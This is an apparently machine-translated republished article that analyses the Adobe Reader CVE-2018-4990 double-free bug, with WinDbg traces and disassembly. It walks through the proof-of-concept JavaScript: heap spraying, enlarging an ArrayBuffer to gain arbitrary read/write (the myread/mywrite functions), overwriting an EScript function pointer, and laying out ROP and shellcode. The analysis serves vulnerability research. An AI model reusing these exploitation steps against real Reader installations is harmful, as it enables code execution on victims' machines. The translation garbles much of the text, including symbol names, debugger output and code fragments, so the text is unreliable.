In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/02 Report--
This article introduces you how to carry out-2018-4990 loophole debugging analysis, the content is very detailed, interested friends can refer to, hope to be helpful to you.
Test environment
Windows 7 SP1 x86
Adobe Reader 2017.009.20044
Causes of loopholes
Adobe official security bulletin said that this is a Double Free vulnerability, memory-related problem, we open the page heap and run Reader, attach with Windbg, crash after opening POC, crash location and stack backtracking:
0VOR 000 > reax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=022e0000 edi=022e0000eip=6f096e88 esp=0019a478 ebp=0019a4c4 iopl=0 nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 eflags 00010286 verifierships AVrfpDphFindBusyMemoryNoCheckboxes 0xb8VOF 6f096e88 813abbbbcdab cmp dword ptr [edx] 0ABCDBBBBh ds:0023:d0d0d0b0=?0:000 > kv L0c # ChildEBP RetAddr Args to Child00 0019a4c4 6f096f95 022e1000 d0d0d0d0 022e0000 verifierproof AVrfpDphFindBusyMemoryNoCheckMemory0xb8 (FPO: [Non-Fpo]) 01 0019a4e8 6f097240 022e1000 d0d0d0d0 0019a558 verifierproof AVrfpDphFindBusyMemoryMemory0x15 (FPO: [Non-Fpo]) 02 0019a504 6f099080 022e1000 d0d0d0d0 008fd21e verifierproof AVrfpDphFindBusyMemoryAndRemoveFromBusyListmemory0x20 (FPO: [Non-Fpo]) 03 0019a520 779065f4 022e0000 01000002 d0d0d0d0 verifierDebugPageHeapFree0x90 (FPO: [Non-Fpo]) 04 0019a568 778ca0aa 022e0000 01000002 d0d0d0d0 ntdllRtlDebugFreeHeap0x2f (FPO: [Non-Fpo] 05) 0019a65c 778965a6 00000000 d0d0d0d0 3f304f98 ntdlllRtlpFreeHeaphorse 0x5d (FPO: [Non-Fpo]) 06 0019a67c 771bbbe4 022e0000 00000000 d0d0d0d0 ntdllRtlFreeHeapbread 0x142 (FPO: [Non-Fpo]) 07 0019a690 6d30ecfa 022e0000 00000000 d0d0d0d0 kernel32 percent Heapfreewheeling 0x14 (FPO: [Non-Fpo]) 08 0019a6a4 68c40622 d0d0d0d0 8348117b 433f2fac MSVCR120freeways 0x1a (FPO: [Non-Fpo]) (CONV: cdecl) WARNING: Stack unwind information not available. Following frames may be wrong.09 0019a7c4 68c56444 4cf46fb8 3c5f8fd8 000000fd JP2KLibrates JP2KCopyRectals 0xbad60a 0019a81c 6dfa5f50 48412e88 6829efd0 3c5f8fd8 JP2KLibrates JP2KImageInitDecoderExpressions 0x240b 0019a8a4 6dfa78ed 3d074fa8 433f2fac 3d074fa8 AcroRd32AXplastics PDXlateToHostExpressions 0x25e41d
You can see that jp2klib collapsed when calling free release. The address released here is 0xd0d0d0b0, which is the post-fill data of the page heap. Here, the access seems to be out of bounds. Let's ub take a look at the code where free is called:
68c40605 8bcb mov ecx,ebx68c40607 894d10 mov dword ptr [ebp+10h], ecx68c4060a 395804 cmp dword ptr [eax+4], ebx68c4060d 7e2c jle JP2KLibratio JP2KCopyRectRect0xbaef (68c4063b) 68c4060f 8b4648 mov eax,dword ptr [esi+48h] 68c40612 8b400c mov eax,dword ptr [eax+0Ch] 68c40615 8b0488 mov eax,dword ptr [eax+ecx*4] 68c40618 85c0 test eax Eax68c4061a 7413 je JP2KLibrates JP2KCopyRectals 0xbae3 (68c4062f) 68c4061c 50 push eax68c4061d e88a690100 call JP2KLibrates JP2KTileGeometryRegisters 0x1b8 (68c56fac) Free68c40622 8b4648 mov eax,dword ptr [esi+48h] 68c40625 59 pop ecx68c40626 8b4d10 mov ecx,dword ptr [ebp+10h] 68c40629 8b400c mov eax,dword ptr [eax+0Ch] 68c4062c 891c88 mov dword ptr [eax+ecx*4], ebx68c4062f 8b4648 mov eax,dword ptr [esi+48h] 68c40632 41 inc ecx68c40633 894d10 mov dword ptr [ebp+10h], ecx68c40636 3b4804 cmp ecx Dword ptr [eax+4] 68c40639 7cd4 jl JP2KLibratio JP2KCopyRectRect0xbac3 (68c4060f)
As you can see, here we are calling the free function in a loop, and we re-debug it before taking out the released value, which is broken at the position of jp2klib + 0x50605.
Jp2klib is not loaded when it is just attached. Here, you can use the command sxe ld jp2klib to load the module and then cut it off. After debugging after disconnection, we can find that we are comparing with 0xff, that is, the loop needs to execute 0xff times:
6cd30605 8bcb mov ecx,ebx6cd30607 894d10 mov dword ptr [ebp+10h], ecx6cd3060a 395804 cmp dword ptr [eax+4], ebx ds:0023:7051ffe4=000000ff6cd3060d 7e2c jle JP2KLibrates JP2KCopyRectals 0xbaef (6cd3063b)
Continue to trace to the address to be freed from the memory pointed to by eax, let's take a look at the memory block that eax refers to:
Heap-p-an eax address 07d1e180 found in _ HEAP @ d50000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 07d1e178 0081 0000 [00] 07d1e180 003f4-(busy)
As you can see, the memory that this eax refers to is only the size of 0x3f4, and 0x3f4 / 4 = 0xfd, which means that there are two more 0xff cycles than normal, that is, 8 bytes are accessed out of bounds, which is why the post-fill data of the page heap was released earlier.
Let's turn off the page heap and re-debug, continue to break it in the previous place, and then check the 8 bytes accessed out of bounds:
0VUX 000 > dc eax + 0x3f407d1e574 0d0e0048 0d0f0048 00000000 0e17e719 H...H.07d1e584 88000000 00000000 000003f0 08231608. # .07d1e594 00000000 00000000 00000000.
As you can see, there are two values populated here, and by looking at POC, you can also see that these two values are specified in POC, that is, the problem here can cause any two addresses to be released. The next question is why does it cause cross-border access here, and where does the memory referred to by eax come from? How is the size calculated? Where does the number of cycles come from?
Let's take a look at the above code. Eax refers to poi (poi (esi + 0x48) + 0x0c), and the number of comparisons is in the position of + 0x04. Here, we can trace the IDA to the allocation location of esi, find the break and re-debug, and then write the breakpoint in memory under the allocated offset 0x48 location to find the location where the 0x48 offset is assigned. Then offset the memory address here from the memory write breakpoint under 0x0c, which is tracked in turn. You can also use! address first looks at the type of memory referred to by esi and finds that it is heap memory. Open UST directly,! heap-p-an and you can see the allocation address of esi. Because we have tracked it by writing breakpoints in memory, we know that the memory at offset 0x48 and offset 0x0c is also heap memory, so we can directly use UST to find the location of memory where 0x0c is allocated.
After finding the memory allocation location at the 0x0c offset, redebug and disconnect jp2klib + 0x41391:
5edb1380 8b5df0 mov ebx,dword ptr [ebp-10h] 5edb1383 3bc3 cmp eax,ebx5edb1385 0f821a090000 jb JP2KLibrates JP2KCodeStmParo Writehorse 0x187c5 (5edb1ca5) 5edb138b c1eb02 shr ebx,25edb138e 6a04 push 45edb1390 53 push ebx5edb1391 e8295b0200 call JP2KLibrates JP2KTileGeometryRegionIsTileStoms0xcb (5edd6ebf) 5edb1396 837f4800 cmp dword ptr [edi+48h] 0 ds:0023:05022a50=000000005edb139a 59 pop ecx5edb139b 59 pop ecx5edb139c 8945f8 mov dword ptr [ebp-8], eax5edb139f 7516 jne JP2KLibrates JP2KCodeStmVo Writehorse 0x17ed7 (5edb13b7) 5edb13a1 6a01 push 15edb13a3 6a20 push 20h5edb13a5 e8155b0200 call JP2KTileGeometryRegionIsTile0xcb (5edd6ebf) 5edb13aa 894748 mov dword ptr [edi+48h], eax
After disconnection, you can see that when 5edb1391 is allocated, ebx is equal to 0xfd. Through analysis, we can see that the allocation function here has two parameters. The first parameter is the number of elements, and the second parameter is the element type. Here, 0x3f4 bytes are allocated, and the original value of ebx is in ebp-10. We can take a look at:
0RV 000 > dd ebp-10 L10024a3e0 000003f4
The 20 bytes allocated by the 5edb13a5 below is actually the memory at the offset 0x48, that is, the previous poi (esi + 0x48). This can be confirmed by writing the breakpoint of the lower memory after finding the location of the allocated esi, or you can directly use UST to find this location when the loop is released. When the 20-byte memory is allocated, the memory is written to the breakpoint directly under the offset 0x0c, and it can be found that the memory address allocated above is assigned to 0x3f4 here.
Let's take a look at how the size of this memory is calculated. We trace the ebp-10 in IDA to see where the values are assigned:
.text: 00041333 mov eax, ebx.text:00041335 mov ecx, esi.text:00041337 sub eax, [ebp+var_4] .text: 0004133A push eax.text:0004133B mov [ebp+var_10], eax
You can see here that the value of ebp-10h comes from the value of ebx minus ebp-4. Continue to trace and find that the value of ebx comes from ebp-14h. Continue to trace and find the following code:
.text: 00040FEE push esi.text:00040FEF lea eax, [ebp+var_4] .text: 00040FF2 push eax.text:00040FF3 lea eax, [ebp+var_18] .text: 00040FF6 push eax.text:00040FF7 lea eax, [ebp+var_14] .text: 00040FFA push eax.text:00040FFB call sub_3FD43
Here, the addresses of ebp-4 and ebp-14h are passed as parameters, and we can break the follow-up under this function (you can also write breakpoints to memory under two addresses to confirm that it is the value filled by this function):
5ee1fd43 55 push ebp5ee1fd44 8bec mov ebp,esp5ee1fd46 56 push esi5ee1fd47 8b7514 mov esi,dword ptr [ebp+14h] 5ee1fd4a 8bce mov ecx,esi...5ee1fd5c 53 push ebx5ee1fd5d 57 push edi5ee1fd5e 6a04 push 45ee1fd60 8bce mov ecx,esi5ee1fd62 e8b4b5fcff call JP2KLibratio JP2KUserActionsVOXA07b (5edeb31b) 5ee1fd67 8b7d08 mov edi Dword ptr [ebp+8] 5ee1fd6a 8bce mov ecx,esi5ee1fd6c 6a04 push 45ee1fd6e 8907 mov dword ptr [edi], eax Assign a value to ebp-14h 5ee1fd70 e8a6b5fcff call JP2KLibrates JP2KUserActionsGroupe operator operators 0xa07b (5edeb31b) 5ee1fd75 8b4d0c mov ecx,dword ptr [ebp+0Ch] 5ee1fd78 8b5d10 mov ebx,dword ptr [ebp+10h] 5ee1fd7b 6a08 push 85ee1fd7d 8901 mov dword ptr [ecx], eax5ee1fd7f 58 pop eax5ee1fd80 8903 mov dword ptr [ebx], eax; assign to ebp-4
When the function 5edeb31b at 5ee1fd62 is executed, it is found that eax is equal to 0x3fc, and the assignment to epb-4 and ebp-14h can also be found at the bottom of this function. We follow up on the 5edeb31b function:
If (A1 & & A1) {v5 = v2-1 Do {v4 = (unsigned _ int8) sub_B21A ((int) v3, (_ BYTE *) & A1 + 3) + (v4 = * (_ DWORD *) (this + 0x14)). If (* (_ BYTE *) (v2 + 9) & * (_ DWORD *) (v2 + 0x10) > = * (_ DWORD *) (v2 + 0x14)) {.} else {v1 = * (char * *) (v2 + 0x10); v5 = * v1 + + * (_ DWORD *) (v2 + 0x1C); * (_ BYTE *) (v2 + 0x18) = v5; * (_ DWORD *) (v2 + 0x10) = v1 + 1; result = * (_ BYTE *) (v2 + 0x18);} return result
You can see that the function takes a pointer from the memory pointed to by ecx and takes a value to view the data pointed to by poi (ecx + 0x10):
00x10 > db poi (ecx + 0x10) 17d3be80 00 00 00 0c 6a 50 20 20-0d 0a 87 0a 00 04 1d.... jP .17d3be90 6a 70 32 68 00 00 16-69 68 64 72 00 00 20 jp2h....ihdr... 17d3bea0 00 00 20 00 01 ff 07-00 00 00 03 fc 63 6d... .cm17d3beb061 70 00 00 00 ap.17d3bec0 00 00 00 .17d3bee0 00 00 00.
You can see some keywords jp2h, ihdr and so on. Through the search, we can know that this is a jpg2000 file. Through many times of debugging, we can know that the pointer at ecx offset 0x0c always points to the starting position of the file data, the pointer at offset 0x10 points to the current value position, the offset 0x14 points to the end of the data, and offsets the size of the data stored at 0x04.
Since the 5edeb31b function will be called multiple times, we can make a conditional breakpoint to see how many times the eax returned by the call is equal to 0x3fc:
R $t0 = 0bp jp2klib + 0x3fd67 "r $t0 = $t0 + 1; .if eax! = 0x3fc {g;} .else {.printf\" count:% d\ ", $t0;}"
Through the above breakpoint, we can know that the function returns 0x3fc on the fourth time, we re-debug the break, and follow up on the fourth interrupt. The trace shows that the 0x3fc is read from the following location in the jpg2000 file:
17d3bea0 00 00 20 00 01 ff 07-00 00 [00 00 03 fc] 63 6d... .cm17d3beb061 70 00 00 00 ap.
Then continue to find out where the previous number of cycles 0xff is obtained, and we can write the breakpoint of the memory where the value is stored, that is, the location of the offset 0x04 of the previously allocated 20-byte memory. After the disconnection runs, it is broken in the following location:
.text: 00041125 mov ecx, [edi+48h]. Text:00041128 mov [ecx], eax.text:0004112A mov ecx, [esi+10h]. Text:0004112D inc dword ptr [esi+1Ch]. Text:00041130 mov al, [ecx]. Text:00041132 mov [esi+18h] Al.text:00041135 lea eax, [ecx+1]. Text:00041138 movzx ecx, byte ptr [esi+18h]. Text:0004113C mov [esi+10h], eax.text:0004113F mov eax, [edi+48h]. Text:00041142 mov [eax+4], ecx.text:00041145 mov ecx, [edi+48h] Break here
You can see that by assigning the value of ecx to the offset 0x04, we can re-debug and break the debugging at 0x41125. Through debugging, we can find that the value of ecx comes from the pointer at esi+10h, and the esi here is the this pointer ecx above, and the pointer to the current value location is stored at the offset 0x10. Let's take a look at the data currently pointed to:
Dc ecx-204e6f9bc0 00000000 00000000 00000000 .4e6f9bd00000000000000000 63700b00 ffff726c .pclr.. 4e6f9be0 ffffffff ffffffff ffffffff ffffffff .4e6f9bf0 ffffffff ffffffff ffffffff ffffffff .4e6f9c00 ffffffff ffffffff ffffffff ffffffff.
As you can see, it is also the data of the jpg2000 file. The jpg2000 file is contained in PDF. We can find the stream object in which the file is stored by searching the keyword image in PDF. In POC, the stream is not encoded, but the stream in the real sample may be encoded. You need to decode before you can see the original data. The stream data found is as follows:
2600h: 0D 0A 0D 0A 32 33 20 30 20 6F 62 6A 0D 0A 3C.... 23 0 obj.. >.. stream 2680h: 0D 0A 00 00 00 0C 6A 6A 50 20 200D 0A 87 0A 00 .jP.. .2690h: 04 1D 6A 70 32 68 00 00 00 16 69 64 72 00 00.. jp2h....ihdr.. 26A0h: 00 20 00 00 00 20 00 01 FF 07 00 00 00 03 FC. .. 26B0h: 63 6D 61 70 00 00 00 cmap. ... 2A90h: 00 00 00. 2AA0h: 00 00 00 0B 70 63 6C 72 .pclr 2AB0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF / 2AC0h / FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF / 2AC0h / 2AC0h / 2AF0h / FF FF FF FF FF FF FF FF FF FF / FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF / FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF / 2AF0h / FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF / FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF / 2B00h /
So far, we know that the size of the memory block and the number of loops are from malicious jpg2000 files, which leads to out-of-bounds access and can release any two addresses. Here we take a look at POC to see what triggered the problem. We see the following code in POC:
Function myfun1 () {.... Var F1 = this.getField ("Button1"); if (F1) {f1.display = display.visible;} var sto2 = app.setTimeOut ("myfun2 ()", 250);} function myfun2 () {var F1 = this.getField ("Button1"); if (F1) {f1.display = display.hidden;}.}
It is speculated that this code triggered the out-of-boundary access, because throughout the POC, this code is basically a memory allocation layout operation. Here, we can insert an alert pop-up window before and after the code segment in myfun1, and cooperate with the debugger to drop the breakpoint at the out-of-boundary access loop. After testing, it is found that this code is broken at the out-of-boundary access loop after execution. Through the test, it is found that deleting the code snippet in myfun2 does not affect it, but deleting the code snippet in myfun1 to keep only in myfun2 or deleting the code snippet in myfun1 to copy the code snippet in myfun1 to myfun2 is not possible.
Finally, let's take a look at the process difference of the repaired files, using the fixed version of Adobe Reader 2018.011.20040. Through debugging and comparison, we can find that there are the following differences when assigning a value to the offset 0x0c after allocating 20 bytes of memory:
If (* (_ DWORD *) (* (_ DWORD *) (a2 + 0x48) + 4)) {.} sub_66FAC (* (void * *) (* (_ DWORD *) (a2 + 0x48) + 0xC)); v78 = v140 DWORD * (* (_ DWORD *) (a2 + 0x48) + 0xC) = 0 DWORD * (_ DWORD *) (* (_ DWORD *) (a2 + 0x48) + 0xC) = v78 -if (* (_ DWORD *) (* (_ DWORD *) (a2 + 0x48) + 4)) {.} v80 = * (_ DWORD *) (a2 + 0x48) If (* (_ DWORD *) (v80 + 0xC)) {sub_6706A (* (void * *) (v80 + 0xC)); v81 = v143; * (_ DWORD *) (* (_ DWORD *) (A2 + 0x48) + 0xC) = 0; * (_ DWORD *) (* (_ DWORD *) (a2 + 0x48) + 0xC) = v81;}
As you can see, before the repair (the code above the delimiter), there is no judgment when assigning a value to the offset 0x0c, just assign the value, while the repaired code compares whether it is 0 before the assignment, and if it is 0, it does not assign the value. There is no assignment to determine whether it is empty or not before entering the loop.
Vulnerability exploitation
We open POC with an editor and look at the JS code to see how the vulnerability is exploited. After opening it, we can see that we have allocated some memory first. Here we can use the article: CVE-2018-4990 Adobe Reader code execution vulnerability analysis to add some of our own code to the JS code to help us analyze the structure of the object in memory. Here, we first insert the following code after the A1 allocation cycle to check the situation after A1 allocation:
Var my_array = new Array (0x10); my_array [0] = 0x23badbadlemmyopia array [1] = A1 [1]; my_array [2] = A1 [2]; my_array [3] = 0bora1 [1] [0] = 0xbadbad22transfera1 [1] [1] = 0xbadbad33transferapp.alert ("pause")
Then open POC, attach it with Windbg after the pop-up box, and use the command
S-d 0x10000 L?7fffffff 0x23badbad
Search. Note here that after testing, the setting of Tag cannot be greater than 0x80000000, otherwise it will not be found during search. After searching for it, check the memory:
Dc 05d15b70 05d15b70 23badbad ffffff81 05492660 ffffff87. #.... `& I.05d15b80 054926b8 ffffff87 00000000 ffffff81. & I.05d15b90 05492768 ffffff87 054927c0 ffffff87 h'I.'I.05d15ba0 05492818 ffffff87 05492870 ffffff87. (I.p (I. .. 05d15bb0 7247e12b 8c000000 69375cd4 05d14da8 + .Gr.\ 7i.M..05d15bc0 69375d20 69375d34 05d64838 00000000] 7i4] 7i8H.
Here you can see the Tag we set and the addresses of the two objects we put in. Each address should be followed by the type of the object. Here, the two objects we put in are of array type, so they all have the same value. Notice here that the addresses of the two objects we put in are almost next to each other, so let's take a look:
Because each element of A1 is a Uint32Array with 252 (0xfd) elements, with a total of 0x3f0 bytes, we can see these two values above. By trying, we can see that the pointer at the 0x54372f0 offset 0x0c after the 0x3f0 in the above figure is the pointer to the actual stored data (you can see that the pointer value is also 0x05b601b0 at the object address offset 0x50):
0dd 05b601b0 Lc05b601b0 badbad22 badbad33 009 > dd 054372f0 Lc054372f0 054b2b38 05425be0 00000000 05b601b005437300 0000000000000000000000000543731000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066 ffffff00 ffffff00 ffffff0005b605b4 0000000005f 000000a1 000000a1
Here you can see the values we set and the two values set by the POC code. Through the! heap command, we can know the size of this memory in the heap. Here we also take a look at the two values set by POC:
0HEAP 009 >! heap-p-a 05b601b0 address 05b601b0 found in _ HEAP @ 890000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 05b60198 0081 0000 [00] 05b601a0 00400-(busy) 0VR 009 >! heap-p-a 0d0e00480:009 >! heap-p-a 0d0f00480:009 >! address 0d0e0048Usage: FreeBase Address: 08890000End Address: 65b60000Region Size: 5d2d0000 (1.456) GB) State: 00010000 MEM_FREEProtect: 00000001 PAGE_NOACCESSType:
You can see that neither of the two addresses set by POC has been assigned at this time. If you continue to look at POC, you can find that 0x1000 ArrayBuffer with the size of 0x10000-24 has been assigned. We use the above method to obtain the object address and take a look at ArrayBuffer:
For (var i1 dc 05291f00 Lc05291f00 23badbad ffffff81 0819e420 ffffff87. .05291f10 0819e4b8 ffffff87 00000000 ffffff81 .05291f20 0056004e 00540049 005f0045 00540053 N.V.I.T.E._.S.T.0:012 > dc 0819e420 Lc0819e420 05eb2b38 05e25be0 00000000 06cf0058 8. [.X.0819e430 00000000 00000000 00000000 .0819e440 00000000 00000000 00000000. 0 Heap-p-a 06cf0058 address 06cf0058 found in _ HEAP @ 9d0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 06cf0040 2000 0000 [00] 06cf0048 0fff8-(busy) 0VO12 > dc 06cf0048 Lc 06cf0048 00000000 0000ffe8 00000000 00000000 .06cf0058 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
In this analysis attempt, we can know that the pointer 0x06cf0058 at the address offset 0xc of the object sprayarr [1] is the buffer that points to the actual stored data. When we look at it, we find that UserPtr starts from 06cf0048. We can see here that the offset 4 is its length 0xffe8 (0x10000-24). At this point, let's look at the two values set by POC:
0HEAP 012 >! heap-p-a 0d0e0048 address 0d0e0048 found in _ HEAP @ 9d0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 0d0e0040 2000 0000 [00] 0d0e0048 0fff8-(busy) 0VO12 >! heap-p-a 0d0f0048 address 0d0f0048 found in _ HEAP @ 9d0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 0d0f0040 2000 [00] 0d0f0048 0fff8-(busy)
As you can see, these two addresses have been assigned. Then look at POC, and you can see the following code:
For (var i1 / flt / 0x400 / HEAP @ 520000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 0052e360 0081 0000 [00] 0052e368 00400-(busy) 048537c8 0081 0081 [00] 048537d0 00400-(busy). 05dc8d68 0081 0081 [00] 05dc8d70 00400-(busy) 05dc9170 0081 0081 [00] 05dc9178 00400-(busy) 05dc9578 0081 0081 [00] 05dc9580 00400-(free) 05dc9980 0081 [00] 05dc9988 00400-(busy). 05fb2500 0081 0081 [00] 05fb2508 00400-(free) 05fb2908 0081 0081 [00] 05fb2910 00400-(busy) 05fb2d10 0081 0081 [00] 05fb2d18 00400-(free) 05fb3118 0081 [00] 05fb3120 00400-(busy) 05fb3520 0081 [00] 05fb3528 00400-(free) 05fb3928 0081 [00] 05fb3930 00400-(busy) 05fb3d30 0081 0081 [00] 05fb3d38 00400-(free) 05fb4138 0081 0081 [00] 05fb4140 00400-(busy) 05fb4540 0081 0081 [00] 05fb4548 00400-(free) 05fb4948 0081 [00] 05fb4950 00400-(busy). 05fbd158 0081 0081 [00] 05fbd160 00400-(free) 05fbd560 0081 0081 [00] 05fbd568 00400-(busy) 05fbd968 0081 0081 [00] 05fbd970 00400-(free) 05fbdd70 0081 [00] 05fbdd78 00400-(busy).
Recalling the previous analysis of vulnerabilities, we know that the size of the array allocated for out-of-bounds access is 0x3f4, and with the hole above, it will fall into a hole when allocating this array, because POC has already laid out the value to be released during cross-boundary access in memory, so that the allocation time falls into a hole, and the two values set in advance will be released when cross-boundary access is released.
Continue to look at the POC, and then the code that triggers the cross-boundary access. Here we break down to see what happens after the cross-border access releases the two specified addresses:
; free 0d0e00480:000 >! heap-p-a 0d0e0048 address 0d0e0048 found in _ HEAP @ f90000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 0d0e0040 2000 0000 [00] 0d0e0048 0fff8-(free); free 0d0f00480:000 >! heap-p-a 0d0f0048 address 0d0f0048 found in _ HEAP @ f90000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 0d0e0040 4000 [00] 0d0e0048 1fff8-(free)
As you can see, after releasing 0x0d0f0048, it merges with the previous 0xd0e0048 into a free block of 0x1fff8 size. Then POC allocates 0x40 ArrayBffer with the size of 0x20000-24, which causes the free block to be allocated with the size of 0x1fff8:
0HEAP 012 >! heap-p-a 0d0e0048 address 0d0e0048 found in _ HEAP @ 420000 HEAP_ENTRY Size Prev Flags UserPtr UserSize-state 0d0e0040 4000 0000 [00] 0d0e0048 1fff8-(busy) 012 > dd 0d0e0048 lc0d0e0048 00000000 0001ffe8 00000000 000000000d0e0058 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Then POC iterates through the previously assigned 0x1000 object data of size 0x10000-24, finds the block of size 0x1fff8, and uses setUint32 to set the position offset to 0x10000-24 to 0x66666666, which is the size of the previous 0x0d0f0048 block:
0000000000d0f0068 012 > dd 0d0f0048 Lc0d0f0048 00000000 66666666 00000000 000000000d0f0058 00000000 0000000000000000 000000000d0f0068 00000000000000000000000000
As you can see, the size and location of the 0x0d0f0048 has been changed to 0x66666666, so we have a wide range of access to the ArrayBuffer. Then POC finds the block with the size of 0x66666666 and uses it to create a DataView.
Then go to the following code:
For (var i2 = 1 ffffff811b297158 0000ffe8 ffffff81 087c0b40 ffffff871b297168 i2 dd 0x0d0f0058 + 0x3fff40d13004c 0000ffe8 1b297138 00000000 000000040d13005c 00000000 0000000000000000 000000000d13006c 00000000000000000000000000 000000000d13007c 0000000000000000000000000000000000000000000000000000000000000000000000000000 ffffff811b297158 0000ffe8 ffffff81 087c0b40 ffffff871b297168 0000000000000002 000000001b297178 00003ffa ffffff81 000000005 ffffff811b297188 0d130058 00000000 066b2b68 06625c00
We can see that this is a block with the size of 0x10000-24 written as 4 (the first element is actually written in a loop that fills arr1). By subtracting 0x0d0f0058 from the address, we can also know that this is the fourth block after 0x0d0f0058. The first value compared here is the block length, and the second one doesn't know what it means at this time, but the memory from dump looks familiar. It should be the structure of Uint32Array object. The guess is a pointer to Uint32Array, because Uint32Array is created with these ArrayBuffer in the loop populating arr1, so this value is assigned here. Here we insert the following code after the previous loop that populates the arr1 to verify:
Var my_array = new Array (0x10); my_array [0] = 0x23badlemmyopia array [1] = sprayarr [i1 + 1]; my_array [2] = sprayarr [i1 + 2]; my_array [3] = arr1 [1]; my_array [4] = arr1 [2]; app.alert ("23333333333")
Add a view after the pop-up box:
0VOR 012 > s-d 0x10000 L?7fffffff 0x23badbad1834d9b8 23badbad ffffff81 087c0978 ffffff87... # .x. | .0: 012 > dd 1834d9b8 Lc1834d9b8 23badbad ffffff81 087c0978 ffffff871834d9c8 087c0a10 ffffff87 1b297030 ffffff871834d9d8 1b297088 ffffff87 066ee420 ffffff870:012 > dd 087c0978 Lc087c0978 066b2b20 06625be0 00000000 0d100058087c0988 000000000000000000000 00000004087c0998 087a2818 0000000000000000000000VO12 > dd 0d100058-10 Lc 0d100048 00000000 0000ffe8 1b297030 000000000d100058 000000000000000000 000000000d100068 00000000000000000000000000000 00000004087c0a30 087a2818 000000000000000000000000000000000000 00000004087c0a30 087a2818 012 > dd 0d110058-10 Lc0d110048 00000000 0000ffe8 1b297088 000000000d110058 000000000000000000000 000000000d110068 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
As you can see, the pointer after the block length of the ArrayBuffer that created the Uint32Array is the address of the corresponding Uint32Array object. Then execute the following code:
Mydv = biga;var itmp = mydv.getUint32; myarray = arr1 [itmp]; mypos = biga.getUint32-spraypos + 0x50 scape mydv.setUint32 (mypos-0x10,0x100000,true); myarraybase = mydv.getUint32 (mypos,true)
Here we first get the value at the i2 + 12 offset. From the previous memory, we know that what we get here is the written index 4, and then use the index to get the corresponding Uint32Array object in the arr1. Then calculate an address of the Uint32Array object to 0x0d0f0058 offset, and then use setUint32 to modify the mypos-0x10, we know that the access here is the access 0x0d0f0058 + mypos-0x10, in fact, modify the Uint32Array object offset 0x40 value, we can see that a Uint32Array object is normally the number of elements, that is, the total number of bytes / 4 after the value, here it will be modified to 0x100000. Then get the value at the offset 0x50 of the Uint32Array object to myarraybase, where the value is the pointer to the actual stored data. At this point, the pointer where the Uint32Array object should be stored is the piece of memory written to index 4.
Then the next operation is through the following two functions:
Function myread (addr) {mydv.setUint32 (mypos,addr,true); var res = myarray [0]; mydv.setUint32 (mypos,myarraybase,true); return res;} function mywrite (addr,value) {mydv.setUint32 (mypos,addr,true); myarray [0] = value; mydv.setUint32 (mypos,myarraybase,true);}
When reading here, we first replace the actual stored data pointer of the Uin32Array object with the specified address, and then access it directly, so that the value at the address is obtained, and finally the actual stored data pointer value is written. The principle of writing is the same, all by replacing the actual stored data pointer.
With the read-write function, POC uses these two functions to obtain the base address of the computing Escript module, and then lays out the ROP. Finally, ROP. Exe is executed by modifying a function pointer of bookmarkRoot. Here we break at the first address of ROP, which is calculated by the following code:
Mywrite (objescript+0x598,offset ("sp1")-0x640c0000+dll_base)
After the disconnection, we first speculate that it comes through a function call. Let's take a look at this:
0v000 > ub poi (esp) L8EScriptBlazillaMativeHashBytes0x4794f (66a77fcd) 66ae18e9 59 pop ecx66ae18ea 85c0 test eax,eax66ae18ec 740f je EScriptConverter conversion740f je EsscriptConverter conversion740f je DoubleToStringConverter Rango CreateDecimalConverterMut0x5aaf2 (66ae18fd) Dword ptr [EScriptStringConverter Parade DoubleToStringConverterParo "VBase10MaximalLengthreading 0xab830 (66c78d54)] 66ae18f4 ff9098050000 call dword ptr [eax+598h]
As you can see, it does come through a function call, where you get a value from an address of EScript and call the function at offset 0x598, so you can understand what the operation in POC means. Finally, there is a problem with the Shellcode in POC, which can lead to collapse, mainly in the following code:
For (var i2 / 0 / 10 / i2
< rop1.length ;i2=i2+1) { myarray[i2+3] = rop1[i2] >0x640c0000? (rop1 [i2]-0x640c0000 + dll_base): rop1 [i2];} myarray [i2] = 0x9090909090 for (var i3 < dlldata.length; i3=i3+1)
Here, when setting ROP, we judge whether it is greater than 0x640c0000, subtract and add the module base address when it is larger, but there is a 0x90909090 in ROP, which is meant to be a slider instruction, but it is changed when it is written, resulting in an exception in the execution of the instruction.
On how to carry out the-2018-4990 vulnerability debugging analysis is shared here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
